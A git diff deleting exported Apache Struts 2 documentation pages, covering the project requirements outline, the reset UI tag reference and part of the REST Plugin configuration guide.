-<h3 id="Requirements-Chapter3.TheUseCases">Chapter 3. <a shape="rect" href="use-cases.html">The Use Cases</a> <img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"></h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="use-cases.html">3a.</a> </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> The primary actors and their general goals </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="use-cases.html">3b.</a> </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> The business use cases (operations concepts [...]
-
-
-<h3 id="Requirements-Chapter4.TheTechnologyUsed">Chapter 4. The Technology Used</h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="requirements.html">4a.</a> </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> What technology requirements are there for this system? </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="requirements.html">4b.</a>    </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> With what systems wil [...]
-
-
-<h3 id="Requirements-Chapter5.Otherrequirements">Chapter 5. Other requirements</h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="requirements.html">5a</a>. </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Development process </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Q1. Who are the project participants? </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd" [...]
-
-
-<hr>
-
-<p><span class="confluence-anchor-link" id="Requirements-Mission"></span></p>
-<h4 id="Requirements-Mission">Mission </h4>
-
-<p>What is the overall scope and goal? What is our mission statement?</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Scope </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> MVC framework for professional web application developers and development teams. </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Goal</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Encourage developers to use a supplied set of base classes and tag libraries (thereby avo [...]
-
-
-<p><span class="confluence-anchor-link" id="Requirements-Stakeholders"></span></p>
-<h4 id="Requirements-Stakeholders">Stakeholders </h4>
-
-<p>Who are the Stakeholders? (Who cares if we build the system or not?) </p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Stakeholder            </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Rationale </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>Apache Software Foundation</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec [...]
-
-
-<p><span class="confluence-anchor-link" id="Requirements-Topics"></span></p>
-<h4 id="Requirements-Topics">Topics </h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>In/Out of Scope </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Topic      </p></th></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt=" [...]
-
-
-<p><span class="confluence-anchor-link" id="Requirements-Glossary"></span></p>
-<h4 id="Requirements-Glossary">Glossary </h4>
-
-<ul><li><strong>MVC</strong> - ...</li><li>HTTP</li><li>HTML</li><li>Front Controller</li><li>Dispatcher</li><li>request</li><li>response</li><li>Page Controller</li><li>container</li><li>Dependency Injection</li><li>Inversion of Control</li><li>domain object</li><li>URL pattern</li><li>resource</li><li>singletons</li></ul>
-
-
-<p><span class="confluence-anchor-link" id="Requirements-Technology"></span></p>
-<h4 id="Requirements-Technology">Technology</h4>
-
-<p>What technology requirements are there for this system?</p>
-
-<ul><li>Java 5</li><li>Servlet API 2.4</li><li>JSP API 2.0</li><li>HTTP 1.0</li><li>HTML 4.01 / XHTML 1.0</li><li>JavaScript/ECMAScript ECMA-262</li></ul>
-
-
-<p><span class="confluence-anchor-link" id="Requirements-Systems"></span></p>
-<h4 id="Requirements-Systems">Systems</h4>
-
-<p>With what systems will this system interface? What are the interface requirements?</p>
-
-<ul><li>Popular web browsers utilizing HTTP / HTML</li><li>JavaScript</li><li>JavaScript AJAX libraries</li><li>Data access libraries utilizing singletons or Dependency Injection</li><li>Web application resources (server pages, servlets) utilizing Servlet API</li><li>Java compilers and code formattings utilizing the source code</li><li>Unit testing lbiraries utilizing the Java and Servlet APIs</li><li>Electronic mail systems utilizing SMTP, POP3, or IMAP, usually via JavaMail</li><li><im [...]
-
-
-<p><span class="confluence-anchor-link" id="Requirements-Process"></span></p>
-<h4 id="Requirements-Process">Process </h4>
-
-<p>Development process </p>
-
-<h5 id="Requirements-Whoaretheprojectparticipants?">Who are the project participants? </h5>
-
-<p>The <a shape="rect" class="external-link" href="http://struts.apache.org/volunteers.html">Apache Struts PMC and other Struts committers</a>, along with other volunteer contributors. </p>
-
-<h5 id="Requirements-Whatvalueswillbereflected?(Simple,soon,fast,orflexible?)">What values will be reflected? (Simple, soon, fast, or flexible?) </h5>
-
-<p>Simple and flexible. </p>
-
-<h5 id="Requirements-Whatfeedbackorprojectvisibilitydotheusersandsponsorsexpect?">What feedback or project visibility do the users and sponsors expect?</h5>
-
-<p>The project is expected to be transparent. All development decisions are expected to take place on the public mailing list. The private PMC list is only to be used when discussing individuals (new committers) and a rapid response to a new security issue.</p>
-
-<h5 id="Requirements-Whatcanweimport?Whatmustwebuild?Whatothersystemshaveasimilarscope?">What can we import? What must we build? What other systems have a similar scope?</h5>
-
-<p>Import </p>
-<ul><li>Various Jakarta Commons and Open Symphony packages, including XWork</li><li>Other packages under a compatible license</li></ul>
-
-
-<p>Build </p>
-<ul><li>Web Compatibility layer over XWork</li><li>UI tags that utilize framework resources</li></ul>
-
-
-<h5 id="Requirements-Underwhatotherprocessrequirementsdoestheprojectoperate?">Under what other process requirements does the project operate?</h5>
-
-<p>The <a shape="rect" class="external-link" href="http://www.apache.org/foundation/bylaws.html">ASF Bylaws</a>, other relevant resolutions of the <a shape="rect" class="external-link" href="http://www.apache.org/foundation/board/calendar.html">ASF Board</a>, and the <a shape="rect" class="external-link" href="http://struts.apache.org/bylaws.html">Apache Struts Project Charter</a> (in that order). See also <a shape="rect" class="external-link" href="http://www.apache.org/foundation/how-i [...]
-
-<p><span class="confluence-anchor-link" id="Requirements-Rules"></span></p>
-<h4 id="Requirements-BusinessRules">Business Rules</h4>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> ...</p>
-
-<p><span class="confluence-anchor-link" id="Requirements-Performance"></span></p>
-<h4 id="Requirements-Performance">Performance</h4>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> ...</p>
-
-<p><span class="confluence-anchor-link" id="Requirements-Operations"></span></p>
-<h4 id="Requirements-Operations,security,documentation">Operations, security, documentation</h4>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> ...</p>
-
-<p><span class="confluence-anchor-link" id="Requirements-Usability"></span></p>
-<h4 id="Requirements-Useandusability">Use and usability</h4>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> ...</p>
-
-<p><span class="confluence-anchor-link" id="Requirements-Maintenance"></span></p>
-<h4 id="Requirements-Maintenanceandportability">Maintenance and portability</h4>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> ...</p>
-
-<p><span class="confluence-anchor-link" id="Requirements-Deferred"></span></p>
-<h4 id="Requirements-Unresolvedordeferred">Unresolved or deferred</h4>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> ...</p></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/reset.html b/content/docs/reset.html
deleted file mode 100644
index ebdbe17..0000000
--- a/content/docs/reset.html
+++ /dev/null
@@ -1,185 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>reset</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="reset.html">reset</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">reset</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13833">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13833">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13833">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13833">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13833">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13833">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="reset-Description">Description</h2>
-
-<p>Render a reset button. The reset tag is used together with the form tag to provide form resetting.
-The reset can have two different types of rendering:
-</p><ul><li>input: renders as html &lt;input type="reset"...&gt;</li><li>button: renders as html &lt;button type="reset"...&gt;</li></ul>
-Please note that the button type has advantages by adding the possibility to separate the submitted value from the
-text shown on the button face, but has issues with Microsoft Internet Explorer at least up to 6.0
-
-<h2 id="reset-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="reset-Examples">Examples</h2>
-
-
-<h3 id="reset-Example1">Example 1</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:reset value=&quot;Reset&quot; /&gt;
-]]></script>
-</div></div>
-
-<h3 id="reset-Example2">Example 2</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-Render a reset button:
-&lt;s:reset type=&quot;button&quot; key=&quot;reset&quot;/&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/rest-plugin.html b/content/docs/rest-plugin.html
deleted file mode 100644
index 25c3b8c..0000000
--- a/content/docs/rest-plugin.html
+++ /dev/null
@@ -1,252 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>REST Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="rest-plugin.html">REST Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">REST Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=70699">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=70699">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=70699">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=70699">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=70699">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=70699">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This plugin is only available with Struts 2.1.1 or later</p></div></div><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1502255738506 {padding: 0px;}
-div.rbtoc1502255738506 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1502255738506 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1502255738506">
-<ul class="toc-indentation"><li><a shape="rect" href="#RESTPlugin-Overview">Overview</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#RESTPlugin-Features">Features</a></li><li><a shape="rect" href="#RESTPlugin-MappingRESTURLstoStruts2Actions">Mapping REST URLs to Struts 2 Actions</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#RESTPlugin-RESTfulURLMappingLogic">RESTful URL Mapping Logic</a></li></ul>
-</li><li><a shape="rect" href="#RESTPlugin-ContentTypes">Content Types</a></li></ul>
-</li><li><a shape="rect" href="#RESTPlugin-Usage">Usage</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#RESTPlugin-SettingUp">Setting Up</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#RESTPlugin-Configuration(struts.xml)">Configuration ( struts.xml )</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#RESTPlugin-RESTOnlyConfiguration">REST Only Configuration</a></li><li><a shape="rect" href="#RESTPlugin-RESTandnon-RESTfulURL'sTogetherConfiguration">REST and non-RESTful URL's Together Configuration</a></li></ul>
-</li></ul>
-</li><li><a shape="rect" href="#RESTPlugin-WriteYourControllerActions">Write Your Controller Actions</a></li></ul>
-</li><li><a shape="rect" href="#RESTPlugin-AdvancedTopics">Advanced Topics</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#RESTPlugin-CustomContentTypeHandlers">Custom ContentTypeHandlers</a></li><li><a shape="rect" href="#RESTPlugin-UseJacksonframeworkasJSONContentTypeHandler">Use Jackson framework as JSON ContentTypeHandler</a></li><li><a shape="rect" href="#RESTPlugin-Settings">Settings</a></li></ul>
-</li><li><a shape="rect" href="#RESTPlugin-Resources">Resources</a></li><li><a shape="rect" href="#RESTPlugin-VersionHistory">Version History</a></li></ul>
-</div><h2 id="RESTPlugin-Overview">Overview</h2><p>The REST Pluginprovides high level support for the implementation of RESTful resource based web applicationsThe REST plugin can cooperate with the <a shape="rect" href="convention-plugin.html">Convention Plugin</a> to support a zero configuration approach to declaring your actions and results, but you can always use the REST plugin with XML style configuration if you like.</p><p>If you prefer to see a working code example, instead of rea [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://my.company.com/myapp/movies/superman
-http://my.company.com/myapp/movies/superman.xml
-http://my.company.com/myapp/movies/superman.xhtml
-http://my.company.com/myapp/movies/superman.json
-</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Note, these content types are supported as incoming data types as well. And, if you need, you can extend the functionality by writing your own implementations of org.apache.struts2.rest.handler.ContentTypeHandler and registering them with the system.</p> [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.mapper.class" value="rest" /&gt;
-</pre>
-</div></div><p>At this point, the REST mapper has replaced the DefaultActionMapper so all incoming URL's will be interpreted as RESTful URL's.</p><p>We're relying on the Convention plugin to find our controllers, so we need to configure the convention plugin a bit:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.convention.action.suffix" value="Controller"/&gt;
-&lt;constant name="struts.convention.action.mapAllMatches" value="true"/&gt;
-&lt;constant name="struts.convention.default.parent.package" value="rest-default"/&gt;
-&lt;constant name="struts.convention.package.locators" value="example"/&gt;
-</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Note, you don't have to use the Convention plugin just to use the REST plugin. The actions of your RESTful application can be defined in XML just as easily as by convention. The REST mapper doesn't care how the application came to know about your actions [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">  &lt;constant name="struts.action.extension" value="xhtml,,xml,json,action"/&gt;
-</pre>
-</div></div><p>Next, we will configure the <code>PrefixBasedActionMapper</code>, which is part of the core Struts 2 distribution, to have some URL's routed to the Rest mapper and others to the default mapper.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">  &lt;constant name="struts.mapper.class" value="org.apache.struts2.dispatcher.mapper.PrefixBasedActionMapper" /&gt;
-  &lt;constant name="struts.mapper.prefixMapping" value="/rest:rest,:struts"/&gt;
-</pre>
-</div></div><p>And, again, we're relying on the Convention plugin to find our controllers, so we need to configure the convention plugin a bit:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.convention.action.suffix" value="Controller"/&gt;
-&lt;constant name="struts.convention.action.mapAllMatches" value="true"/&gt;
-&lt;constant name="struts.convention.default.parent.package" value="rest-default"/&gt;
-&lt;constant name="struts.convention.package.locators" value="example"/&gt;
-</pre>
